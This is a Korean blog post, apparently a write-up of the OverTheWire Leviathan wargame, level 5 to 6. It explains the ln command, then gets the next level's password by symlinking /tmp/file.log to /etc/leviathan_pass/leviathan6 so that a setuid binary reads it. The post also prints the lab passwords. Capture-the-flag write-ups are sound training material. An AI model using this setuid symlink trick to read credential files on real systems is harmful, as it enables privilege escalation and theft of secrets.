일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- 드론
- wargame
- pwn.college
- 커널
- write up
- Pwnable.kr
- 컴퓨터구조
- 취약점
- px4
- 알고리즘
- 리버싱
- 시스템
- C언어
- 워게임
- 시스템프로그래밍
- 시스템해킹
- css
- Leviathan
- 어셈블리어
- 리눅스 커널
- 시그널
- 리눅스
- pwncollege
- 시스템 프로그래밍
- radare2
- 리눅스커널
- 프로그래밍
- Bandit
- C++
- kernel
Archives
- Today
- Total
Computer Security
#4 Wargame leviathan4 (Level5 ~ Level6), link 명령어 본문
반응형
Level5 -> Level6
ln (link) 명령어
- 한 파일을 다른 파일 이름으로도 사용하고자 할 때 사용하는 명령어,
- 링크된 파일 중 한 파일을 수정하면 다른 파일들도 수정됨,
- 하드링크와 심볼릭링크가 있음,
하드 링크
$ ln [원본 파일명] [대상파일명]
- 하나의 파일에 여러 개의 이름을 부여함
- 파일을 없애려면 링크로 생성된 링크 파일을 모두 지워야 함
심볼릭 링크
$ ln -s [원본 파일명] [대상파일명]
- 윈도우 운영체제의 바로 가기 아이콘이라고 보면됨,
- 링크로 생성된 파일에 내용이 존재하지 않고 각각의 i-node를 가진 또 다른 파일이 어디를 가리키고 있는지 알려주는 역할
- 원본파일명이 바뀌면 사용하지 못함
rm [파일명] : 링크 삭제
1. ls -al 을 확인해보니 leviathan5 파일이 있고, 얘는 역시 setuid 로 실행된다.
leviathan5@leviathan:~$ ls -al
total 28
drwxr-xr-x 2 root root 4096 Aug 26 2019 .
drwxr-xr-x 10 root root 4096 Aug 26 2019 ..
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
-r-sr-x--- 1 leviathan6 leviathan5 7560 Aug 26 2019 leviathan5
-rw-r--r-- 1 root root 675 May 15 2017 .profile
2. ./leviathan5 실행시켜보니, 뭐 /tmp/file.log 파일을 읽어주는데, 못찾겠다는것 같다.
leviathan5@leviathan:~$ ./leviathan5
Cannot find /tmp/file.log
r2 로 살펴보니 저 경로 파일을 읽어 주는것이 맞는 것 같다.
3. /tmp 에 접근해서 file.log파일 생성후, 그 안에 leviathan5 의 비밀번호를 넣어준다.
leviathan5@leviathan:~$ cd /tmp
leviathan5@leviathan:/tmp$ touch file.log
leviathan5@leviathan:/tmp$ vi file.log
leviathan5@leviathan:/tmp$ cat file.log
Tith4cokei
4. ln -s 명령어로 링크를 걸어주고 ./leviathan5 실행시켜주면 leviathan6의 비밀번호가 나온다.
leviathan5@leviathan:/tmp$ ln -s /etc/leviathan_pass/leviathan6 file.log
leviathan5@leviathan:/tmp$ cd
leviathan5@leviathan:~$ ./leviathan5
UgaoFee4li
5. 얻은 leviathan6 의 비밀번호:UgaoFee4li 를 이용해 leviathan6에 접속하면 성공!
--[ Tools ]--
For your convenience we have installed a few usefull tools which you can find
in the following locations:
* pwndbg (https://github.com/pwndbg/pwndbg) in /usr/local/pwndbg/
* peda (https://github.com/longld/peda.git) in /usr/local/peda/
* gdbinit (https://github.com/gdbinit/Gdbinit) in /usr/local/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)
* checksec.sh (http://www.trapkit.de/tools/checksec.html) in /usr/local/bin/checksec.sh
--[ More information ]--
For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/
For support, questions or comments, contact us through IRC on
irc.overthewire.org #wargames.
Enjoy your stay!
leviathan6@leviathan:~$
반응형
'Wargame:leviathan' 카테고리의 다른 글
#5 Wargame leviathan5 (Level6 ~ Level7(End)) (0) | 2022.07.30 |
---|---|
#3 Wargame leviathan3 (Level3 ~ Level5), db,dc,px, ltrace, 아스키코드 변환 (0) | 2022.07.28 |
#2 Wargame leviathan2 (Level2 ~ Level3), radare2,Command injection (0) | 2022.07.27 |
#1 Wargame leviathan1 (Level0 ~ Level2), radare2 (0) | 2022.07.26 |
Comments